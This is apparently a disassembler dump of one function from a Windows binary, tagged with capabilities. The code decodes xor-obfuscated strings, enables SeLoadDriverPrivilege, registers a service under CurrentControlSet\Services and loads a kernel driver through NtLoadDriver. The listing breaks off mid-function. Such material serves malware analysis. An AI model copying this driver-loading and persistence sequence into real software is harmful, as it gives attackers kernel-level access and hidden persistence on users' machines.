Function at 0x14000f020
Capabilities:
Encode data using xor
Get system information on windows
Install driver
Make suspicious ntquerysysteminformation call
Parse pe header
Persist via windows service
Set registry value

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x538]
sub rsp, 0x610
movaps xmmword [rax - 0x38], xmm6
movaps xmmword [rax - 0x48], xmm7
movaps xmmword [rax - 0x58], xmm8
mov rax, qword [0x1400b7c40]
xor rax, rsp
mov qword [rbp + 0x4d0], rax
mov rbx, rdx
mov qword [rsp + 0x58], rdx
xor esi, esi
mov dword [rbp + 0x120], esi
mov eax, dword [0x1400a41f8]
mov dword [rsp + 0x40], eax
movzx eax, word [0x1400a41fc]
mov word [rsp + 0x44], ax
mov byte [rsp + 0x40], 0x2e
xor byte [rsp + 0x41], 0x3a
xor byte [rsp + 0x42], 0x3b
xor byte [rsp + 0x43], 0x3c
xor byte [rsp + 0x44], 0x3d
xor byte [rsp + 0x45], 0x3e
mov qword [rbp + 0x280], rsi
movdqa xmm0, xmmword [0x1400a54e0]
movdqu xmmword [rbp + 0x290], xmm0
mov byte [rbp + 0x280], sil
lea rax, [rsp + 0x40]
mov rdi, 0xffffffffffffffff
mov r8, rdi
inc r8
cmp byte [rax + r8], 0
jne 0x14000f0d5
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0x280]
call fcn.140003990
nop
mov eax, 0x5a4d
cmp word [rbx], ax
je 0x14000f100
mov r13, rsi
jmp 0x14000f113
movsxd r13, dword [rbx + 0x3c]
add r13, rbx
cmp dword [r13], 0x4550
cmovne r13, rsi
cmp dword [r13], 0x4550
je 0x14000f32d
movups xmm0, xmmword [0x1400a4220]
movups xmmword [rbp - 0x20], xmm0
movups xmm1, xmmword [0x1400a4230]
movups xmmword [rbp - 0x10], xmm1
movups xmm0, xmmword [0x1400a4240]
movups xmmword [rbp], xmm0
movups xmm1, xmmword [0x1400a4250]
movups xmmword [rbp + 0x10], xmm1
movzx eax, word [0x1400a4260]
mov word [rbp + 0x20], ax
cmp dword [reloc.d2d1.dll_Ordinal_1], 2
jl 0x14000f2ba
movdqa xmm5, xmmword [0x1400a54f0]
movdqa xmm4, xmmword [0x1400a5c30]
mov r12d, 5
movd xmm6, r12d
movdqa xmm7, xmmword [0x1400a5520]
mov edi, 0x1f
movd xmm8, edi
movdqa xmm0, xmmword [str.9999999999999999]
movdqa xmmword [rbp + 0x150], xmm0
lea rcx, [rbp - 0x1c]
mov edx, dword [rbp + 0x150]
nop dword [rax]
movd xmm2, esi
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400a5530]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [rsi + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400a5530]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add esi, 8
lea rcx, [rcx + 8]
cmp esi, 0x40
jl 0x14000f1b0
cmp esi, 0x42
jge 0x14000f2ff
movsxd rax, esi
lea r8, [rbp - 0x20]
add r8, rax
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x92492493
imul esi
add edx, esi
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, sil
sub al, cl
add al, 0x39
xor byte [r8], al
inc esi
lea r8, [r8 + 1]
cmp esi, 0x42
jl 0x14000f2d0
lea rdx, [rbp - 0x20]
lea rcx, [0x140106ea0]
call fcn.140014590
mov rcx, rax
call fcn.140014800
mov eax, dword [str.I_NOX_]
mov dword [rsp + 0x40], eax
movzx eax, word [0x1400a41d4]
jmp 0x14000f558
mov r12d, dword [r13 + 0x50]
mov dword [rsp + 0x40], r12d
test r12d, r12d
jne 0x14000f58c
movups xmm0, xmmword [0x1400a42e0]
movups xmmword [rbp - 0x20], xmm0
movups xmm1, xmmword [0x1400a42f0]
movups xmmword [rbp - 0x10], xmm1
movups xmm0, xmmword [0x1400a4300]
movups xmmword [rbp], xmm0
movups xmm1, xmmword [0x1400a4310]
movups xmmword [rbp + 0x10], xmm1
movups xmm0, xmmword [0x1400a4320]
movups xmmword [rbp + 0x20], xmm0
movzx eax, word [0x1400a4330]
mov word [rbp + 0x30], ax
movzx eax, byte [0x1400a4332]
mov byte [rbp + 0x32], al
cmp dword [reloc.d2d1.dll_Ordinal_1], 2
jl 0x14000f4ea
movdqa xmm5, xmmword [0x1400a54f0]
movdqa xmm4, xmmword [0x1400a5c30]
mov r12d, 5
movd xmm6, r12d
movdqa xmm7, xmmword [0x1400a5520]
mov edi, 0x1f
movd xmm8, edi
movdqa xmm0, xmmword [str.9999999999999999]
movdqa xmmword [rbp + 0x150], xmm0
lea rcx, [rbp - 0x1c]
mov edx, dword [rbp + 0x150]
nop
movd xmm2, esi
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400a5530]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [rsi + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400a5530]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add esi, 8
lea rcx, [rcx + 8]
cmp esi, 0x50
jl 0x14000f3e0
cmp esi, 0x53
jge 0x14000f52f
movsxd rax, esi
lea r8, [rbp - 0x20]
add r8, rax
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x92492493
imul esi
add edx, esi
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, sil
sub al, cl
add al, 0x39
xor byte [r8], al
inc esi
lea r8, [r8 + 1]
cmp esi, 0x53
jl 0x14000f500
lea rdx, [rbp - 0x20]
lea rcx, [0x140106ea0]
call fcn.140014590
mov rcx, rax
call fcn.140014800
mov eax, dword [str.I_NOX_]
mov dword [rsp + 0x40], eax
movzx eax, word [0x1400a41d4]
mov word [rsp + 0x44], ax
mov byte [rsp + 0x40], WSACleanup
xor byte [rsp + 0x41], 0x3a
xor byte [rsp + 0x42], 0x3b
xor byte [rsp + 0x43], 0x3c
xor byte [rsp + 0x44], 0x3d
xor byte [rsp + 0x45], 0x3e
lea rcx, [rsp + 0x40]
call fcn.140030ab8
xor bl, bl
jmp 0x140011d51
mov eax, dword [0x1400a4200]
mov dword [rbp + 0x120], eax
movzx eax, byte [0x1400a4204]
mov byte [rbp + 0x120], 0x2e
xor byte [rbp + 0x121], 0x3a
xor byte [rbp + 0x122], 0x3b
xor byte [rbp + 0x123], 0x3c
xor al, 0x3d
mov byte [rbp + 0x124], al
mov qword [rbp + 0x160], rsi
mov qword [rbp + 0x170], rsi
mov qword [rbp + 0x178], send
mov byte [rbp + 0x160], 0
lea rax, [rbp + 0x120]
mov r8, rdi
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x14000f5f0
lea rdx, [rbp + 0x120]
lea rcx, [rbp + 0x160]
call fcn.140003990
nop
mov qword [rbp + 0x130], rsi
mov rdi, rsi
mov qword [rbp + 0x140], rsi
mov r14d, send
mov qword [rbp + 0x148], r14
mov byte [rbp + 0x130], dil
mov dword [rbp + 0x120], 1
xor ecx, ecx
call fcn.1400311e0
mov rbx, rax
call sub.KERNEL32.dll_GetCurrentProcessId
imul eax, ebx
mov ecx, eax
call fcn.14002e168
lea r15d, [r14 - 2]
movzx ebx, byte [rsp + 0x48]
movabs r12, 0x842108421084211
lea rsi, str.0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz
call fcn.14002e13c
movsxd rcx, eax
mov rax, r12
mul rcx
mov rax, rcx
sub rax, rdx
shr rax, 1
add rax, rdx
shr rax, 5
imul rax, rax, 0x3e
sub rcx, rax
movzx r9d, byte [rcx + rsi]
cmp rdi, r14
jae 0x14000f6c8
lea rax, [rdi + 1]
mov qword [rbp + 0x140], rax
lea rax, [rbp + 0x130]
cmp r14, 0x10
cmovae rax, qword [rbp + 0x130]
mov byte [rax + rdi], r9b
mov byte [rax + rdi + 1], 0
jmp 0x14000f6dd
movzx r8d, bl
mov edx, 1
lea rcx, [rbp + 0x130]
call fcn.140009fb0
sub r15, 1
je 0x14000f6f6
mov r14, qword [rbp + 0x148]
mov rdi, qword [rbp + 0x140]
jmp 0x14000f670
lea r9, [rbp + 0x160]
lea r8, [rbp + 0x130]
movzx edx, byte [rsp + 0x48]
lea rcx, [rbp + 0x260]
call fcn.1400152b0
nop
mov rdx, qword [rbp + 0x148]
cmp rdx, 0x10
mov esi, 0
mov r12d, dword [rsp + 0x40]
jb 0x14000f762
inc rdx
mov rcx, qword [rbp + 0x130]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000f75c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140011da5
call fcn.140062a94
nop
mov rdx, qword [rbp + 0x178]
cmp rdx, 0x10
jb 0x14000f7a3
inc rdx
mov rcx, qword [rbp + 0x160]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000f79e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140011dab
call fcn.140062a94
lea r15, [rbp + 0x260]
cmp qword [rbp + 0x278], 0x10
jb 0x14000f7ca
mov r14, qword [rbp + 0x260]
mov rbx, qword [rbp + 0x270]
add rbx, r14
mov r15, r14
jmp 0x14000f7df
lea rbx, [rbp + 0x260]
add rbx, qword [rbp + 0x270]
lea r14, [rbp + 0x260]
mov qword [rbp + 0x1d0], rsi
mov rcx, rsi
mov qword [rbp + 0x1e0], rcx
mov r8d, 7
mov qword [rbp + 0x1e8], r8
mov word [rbp + 0x1d0], si
mov rdx, rbx
sub rdx, r14
cmp rdx, r8
jbe 0x14000f82c
lea rcx, [rbp + 0x1d0]
call fcn.1400149d0
mov rcx, rsi
mov qword [rbp + 0x1e0], rcx
mov r8, qword [rbp + 0x1e8]
lea rax, [rbp + 0x1d0]
mov qword [rsp + 0x50], rax
cmp r14, rbx
je 0x14000f8a2
movzx edi, byte [rsp + 0x48]
movsx r9d, byte [r14]
cmp rcx, r8
jae 0x14000f875
lea rax, [rcx + 1]
mov qword [rbp + 0x1e0], rax
lea rax, [rbp + 0x1d0]
cmp r8, 8
cmovae rax, qword [rbp + 0x1d0]
mov word [rax + rcx*2], r9w
mov word [rax + rcx*2 + 2], si
jmp 0x14000f88a
movzx r8d, dil
mov edx, 1
lea rcx, [rbp + 0x1d0]
call fcn.140014b40
inc r14
mov r8, qword [rbp + 0x1e8]
cmp r14, rbx
je 0x14000f8a2
mov rcx, qword [rbp + 0x1e0]
jmp 0x14000f842
lea rdx, [rbp + 0x1d0]
cmp r8, 8
cmovae rdx, qword [rbp + 0x1d0]
mov qword [rbp + 0x160], rsi
mov qword [rbp + 0x170], rsi
mov qword [rbp + 0x178], 7
mov word [rbp + 0x160], si
mov rbx, 0xffffffffffffffff
mov r8, rbx
nop
inc r8
cmp word [rdx + r8*2], 0
jne 0x14000f8e0
lea rcx, [rbp + 0x160]
call fcn.140013ac0
nop
lea rdx, [rbp + 0x160]
call fcn.14000ed80
nop
mov rdx, qword [rbp + 0x178]
cmp rdx, 8
jb 0x14000f950
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x160]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000f946
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140011db1
call fcn.140062a94
nop dword [rax + rax]
inc rbx
cmp byte [r15 + rbx], 0
jne 0x14000f950
call fcn.140060298
mov qword [rbp + 0x1c0], r15
mov qword [rbp + 0x1c8], rbx
lea r8, [rbp + 0x1c0]
mov edx, eax
lea rcx, [rbp + 0x240]
call fcn.14000bab0
mov dword [rbp + 0x120], send
lea rcx, [rbp + 0x240]
call fcn.14000c770
test al, al
sete bl
mov rdx, qword [rbp + 0x258]
cmp rdx, 8
jb 0x14000f9e3
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x240]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000f9de
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140011db7
call fcn.140062a94
test bl, bl
je 0x14000f9ee
xor bl, bl
jmp 0x140011d37
lea rax, [rbp + 0x1a0]
mov qword [rsp + 0x50], rax
mov qword [rbp + 0x1a0], rsi
mov qword [rbp + 0x1b0], rsi
mov qword [rbp + 0x1b8], rsi
lea rdi, [rbp + 0x280]
cmp qword [rbp + 0x298], 0x10
cmovae rdi, qword [rbp + 0x280]
mov r14, qword [rbp + 0x290]
cmp r14, 0x10
jae 0x14000fa47
movups xmm0, xmmword [rdi]
movups xmmword [rbp + 0x1a0], xmm0
mov ebx, send
jmp 0x14000face
mov rbx, r14
or rbx, 0xf
movabs rax, 0x7fffffffffffffff
cmp rbx, rax
cmova rbx, rax
mov rcx, rbx
add rcx, 1
mov rax, 0xffffffffffffffff
cmovb rcx, rax
cmp rcx, 0x1000
jb 0x14000faa9
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140011dbd
mov rcx, rax
call fcn.140062808
mov rcx, rax
test rax, rax
je 0x140011dc3
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
jmp 0x14000fab8
test rcx, rcx
je 0x14000fab5
call fcn.140062808
jmp 0x14000fab8
mov rax, rsi
mov qword [rbp + 0x1a0], rax
lea r8, [r14 + 1]
mov rdx, rdi
mov rcx, rax
call fcn.140064dd0
mov qword [rbp + 0x1b0], r14
mov qword [rbp + 0x1b8], rbx
mov qword [rbp + 0x2a0], rsi
mov qword [rbp + 0x2b0], rsi
mov qword [rbp + 0x2b8], send
mov r8, 0xffffffffffffffff
nop dword [rax]
inc r8
cmp byte [r15 + r8], 0
jne 0x14000fb00
mov rdx, r15
lea rcx, [rbp + 0x2a0]
call fcn.140003990
nop
mov r9d, r12d
lea r8, [rbp + 0x1a0]
lea rdx, [rbp + 0x2a0]
lea rcx, [rbp + 0x330]
call fcn.14000d610
nop
mov qword [rbp + 0x130], rsi
mov qword [rbp + 0x140], rsi
mov qword [rbp + 0x148], 7
mov r8d, socket
lea rdx, str.SeLoadDriverPrivilege
lea rcx, [rbp + 0x130]
call fcn.140013ac0
mov qword [rbp + 0x108], rsi
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
lea r8, [rbp + 0x108]
mov edx, 0x28
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
mov ebx, 2
test eax, eax
jne 0x14000fb9c
mov bl, 1
jmp 0x14000fc2c
mov qword [rbp + 0x128], rsi
lea rdx, [rbp + 0x130]
cmp qword [rbp + 0x148], 8
cmovae rdx, qword [rbp + 0x130]
lea r8, [rbp + 0x128]
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueW]
test eax, eax
jne 0x14000fbd1
mov bl, 1
jmp 0x14000fc2c
mov dword [rbp + 0x150], 1
mov rax, qword [rbp + 0x128]
mov qword [rbp + 0x154], rax
mov dword [rbp + 0x15c], ebx
mov qword [rsp + 0x28], rsi
mov qword [rsp + 0x20], rsi
mov r9d, reloc.WS2_32.dll_recv
lea r8, [rbp + 0x150]
xor edx, edx
mov rcx, qword [rbp + 0x108]
call qword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
test eax, eax
jne 0x14000fc1d
mov bl, 1
jmp 0x14000fc2c
mov rcx, qword [rbp + 0x108]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor bl, bl
mov rdx, qword [rbp + 0x148]
cmp rdx, 8
jb 0x14000fc72
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x130]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000fc6d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140011dc9
call fcn.140062a94
test bl, bl
je 0x14000fc85
xor r12b, r12b
mov byte [rbp + 0x118], r12b
jmp 0x1400101cd
mov rdi, qword [rbp + 0x340]
lea rbx, [rbp + 0x330]
cmp qword [rbp + 0x348], 0x10
cmovae rbx, qword [rbp + 0x330]
call fcn.140060298
mov qword [rbp + 0x1c0], rbx
mov qword [rbp + 0x1c8], rdi
lea r8, [rbp + 0x1c0]
mov edx, eax
lea rcx, [rbp + 0x2c0]
call fcn.14000bab0
nop
mov qword [rbp + 0x130], rsi
movdqa xmm0, xmmword [0x1400a54d0]
movdqu xmmword [rbp + 0x140], xmm0
mov word [rbp + 0x130], si
mov dword [rbp + 0x120], 0x7e
lea rdx, [rbp + 0x2c0]
lea rcx, [rbp + 0x130]
call fcn.14000c5b0
test eax, eax
jne 0x140011dcf
lea rdx, [rbp + 0x218]
lea rcx, [rbp + 0x130]
call fcn.14000bc00
nop
mov r9d, 4
lea r8, [0x1400a46ec]
xor edx, edx
mov rcx, rax
call fcn.14000a340
mov qword [rbp - 0x78], rsi
mov qword [rbp - 0x68], rsi
mov qword [rbp - 0x60], rsi
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x78], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x68], xmm1
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], send
mov byte [rax], 0
mov dword [rbp + 0x120], 0xfe
mov qword [rbp + 0x180], rsi
mov qword [rbp + 0x190], rsi
mov qword [rbp + 0x198], send
mov byte [rbp + 0x180], 0
mov r8d, 0x22
lea rdx, str.SystemCurrentControlSetServices_
lea rcx, [rbp + 0x180]
call fcn.140003990
nop
lea rdx, [rbp + 0x350]
lea rcx, [rbp + 0x180]
call fcn.140008c20
lea rdx, [rbp + 0x180]
cmp qword [rbp + 0x198], 0x10
cmovae rdx, qword [rbp + 0x180]
lea r8, [rbp + 0x100]
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
test eax, eax
je 0x14000fe32
mov rdx, qword [rbp + 0x198]
cmp rdx, 0x10
jb 0x14000fe2b
inc rdx
mov rcx, qword [rbp + 0x180]
cmp rdx, 0x1000
mov rax, rcx
jb 0x14000fe26
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140011de5
call fcn.140062a94
xor bl, bl
jmp 0x14000ff85
mov byte [rbp + 0x118], 1
mov dword [rsp + 0x28], 4
lea rax, [rbp + 0x118]
mov qword [rsp + 0x20], rax
mov r9d, 4
xor r8d, r8d
lea rdx, str.Type
mov rcx, qword [rbp + 0x100]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne 0x14000fdea
mov byte [rbp + 0x11a], 3
mov dword [rsp + 0x28], 4
lea rax, [rbp + 0x11a]
mov qword [rsp + 0x20], rax
mov r9d, 4
xor r8d, r8d
lea rdx, str.ErrorControl
mov rcx, qword [rbp + 0x100]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne 0x14000fdea
mov byte [rbp + 0x11b], 3
mov dword [rsp + 0x28], 4
lea rax, [rbp + 0x11b]
mov qword [rsp + 0x20], rax
mov r9d, 4
xor r8d, r8d
lea rdx, str.Start
mov rcx, qword [rbp + 0x100]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne 0x14000fdea
lea rcx, [rbp - 0x78]
cmp qword [rbp - 0x60], 0x10
cmovae rcx, qword [rbp - 0x78]
mov eax, dword [rbp - 0x68]
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], rcx
mov r9d, 1
xor r8d, r8d
lea rdx, str.ImagePath
mov rcx, qword [rbp + 0x100]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne 0x14000fdea
mov rcx, qword [rbp + 0x100]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
test eax, eax
sete bl
mov rdx, qword [rbp + 0x198]
cmp rdx, 0x10
jb 0x14000ff85
inc rdx
mov rcx, qword [rbp + 0x180]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000ff7f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140011de5
call fcn.140062a94
nop
mov rdx, qword [rbp - 0x60]
cmp rdx, 0x10
jb 0x14000ffc0
inc rdx
mov rcx, qword [rbp - 0x78]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000ffbb
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140011deb
call fcn.140062a94
mov qword [rbp - 0x68], rsi
mov qword [rbp - 0x60], send
mov byte [rbp - 0x78], 0
mov rdx, qword [rbp + 0x230]
cmp rdx, 0x10
jb 0x140010011
inc rdx
mov rcx, qword [rbp + 0x218]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001000c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140011df1
call fcn.140062a94
mov qword [rbp + 0x228], rsi
mov qword [rbp + 0x230], send
mov byte [rbp + 0x218], 0
mov dword [rbp + 0x120], 0xbe
mov rdx, qword [rbp + 0x148]
cmp rdx, 8
jb 0x14001007a
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x130]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140010075
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140011df7
call fcn.140062a94
movdqa xmm0, xmmword [0x1400a54d0]
movdqu xmmword [rbp + 0x140], xmm0
mov word [rbp + 0x130], si
mov rdx, qword [rbp + 0x2d8]
cmp rdx, 8
jb 0x1400100d7
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x2c0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400100d2
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140011dfd
call fcn.140062a94
test bl, bl
jne 0x1400100ea
xor r12b, r12b
mov byte [rbp + 0x118], r12b
jmp 0x1400101cd
mov qword [rbp + 0x160], rsi
mov qword [rbp + 0x170], rsi
mov qword [rbp + 0x178], send
mov byte [rbp + 0x160], 0
mov r8d, 0x34
lea rdx, str.RegistryMachineSystemCurrentControlSetServices_
lea rcx, [rbp + 0x160]
call fcn.140003990
nop
lea rdx, [rbp + 0x350]
lea rcx, [rbp + 0x160]
call fcn.140008c20
lea rdx, [rbp + 0x160]
cmp qword [rbp + 0x178], 0x10
cmovae rdx, qword [rbp + 0x160]
lea rcx, [rbp + 0x2e0]
call qword [sym.imp.ntdll.dll_RtlInitAnsiString]
mov r8b, 1
lea rdx, [rbp + 0x2e0]
lea rcx, [rbp + 0x2f0]
call qword [sym.imp.ntdll.dll_RtlAnsiStringToUnicodeString]
lea rcx, [rbp + 0x2f0]
call qword [sym.imp.ntdll.dll_NtLoadDriver]
test eax, eax
sete r12b
mov byte [rbp + 0x118], r12b
mov rdx, qword [rbp + 0x178]
cmp rdx, 0x10
jb 0x1400101cd
inc rdx
mov rcx, qword [rbp + 0x160]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400101c8
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140011e03
call fcn.140062a94
lea r15, [rbp + 0x350]
cmp qword [rbp + 0x368], 0x10
cmovae r15, qword [rbp + 0x350]
mov rbx, rsi
mov dword [rbp + 0x100], esi
lea r9, [rbp + 0x100]
xor r8d, r8d
xor edx, edx
lea ecx, [rdx + 0xb]
call qword [sym.imp.ntdll.dll_NtQuerySystemInformation]
cmp eax, 0xc0000004
jne 0x14001025f
nop dword [rax]
xor edx, edx
mov r8d, 0x8000
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov edx, dword [rbp + 0x100]
xor ecx, ecx
lea r9d, [rcx + 4]
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rbx, rax
lea r9, [rbp + 0x100]
mov r8d, dword [rbp + 0x100]
mov rdx, rax
mov ecx, 0xb
call qword [sym.imp.ntdll.dll_NtQuerySystemInformation]
cmp eax, 0xc0000004
je 0x140010210
test eax, eax
js 0x140010338
mov edi, esi
cmp dword [rbx], esi
jbe 0x140010338
mov r14d, edi
imul rcx, r14, 0x128
movzx eax, word [rbx + rcx + 0x2e]
add rax, rbx
lea rdx, [rcx + 0x30]
add rdx, rax
mov qword [rbp + 0x130], rsi
mov qword [rbp + 0x140], rsi
mov qword [rbp + 0x148], send
mov r8, 0xffffffffffffffff
nop word [rax + rax]
inc r8
cmp byte [rdx + r8], 0
jne 0x1400102b0
lea rcx, [rbp + 0x130]
call fcn.140003990
lea rcx, [rbp + 0x130]
cmp qword [rbp + 0x148], 0x10
cmovae rcx, qword [rbp + 0x130]
mov rdx, r15
call fcn.140031110
test eax, eax
je 0x1400108cb
mov rdx, qword [rbp + 0x148]
cmp rdx, 0x10
jb 0x14001032e
inc rdx
mov rcx, qword [rbp + 0x130]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140010329
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140011e0f
call fcn.140062a94
inc edi
cmp edi, dword [rbx]
jb 0x140010271
mov r8d, 0x8000
xor edx, edx
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov r14, rsi
cmp r12b, 1
ja 0x140011c29
test r14, r14
je 0x140011c29
lea r10, [rbp + 0x350]
cmp qword [rbp + 0x368], 0x10
cmovae r10, qword [rbp + 0x350]
movups xmm0, xmmword [0x1400a43c0]
movups xmmword [rbp - 0x58], xmm0
movups xmm1, xmmword [0x1400a43d0]
movups xmmword [rbp - 0x48], xmm1
movsd xmm0, qword [0x1400a43e0]
movsd qword [rbp - 0x38], xmm0
mov eax, dword [0x1400a43e8]
mov dword [rbp - 0x30], eax
mov r8d, esi
mov edi, 0x1f
lea r12d, [rdi - 0x1a]
mov ebx, dword [reloc.d2d1.dll_Ordinal_1]
cmp ebx, 2
jl 0x14001050f
movdqa xmm5, xmmword [0x1400a54f0]
movdqa xmm4, xmmword [0x1400a5c30]
movd xmm6, r12d
movdqa xmm7, xmmword [0x1400a5520]
movd xmm8, edi
movdqa xmm0, xmmword [str.9999999999999999]
movdqa xmmword [rbp + 0x150], xmm0
lea rcx, [rbp - 0x54]
mov edx, dword [rbp + 0x150]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
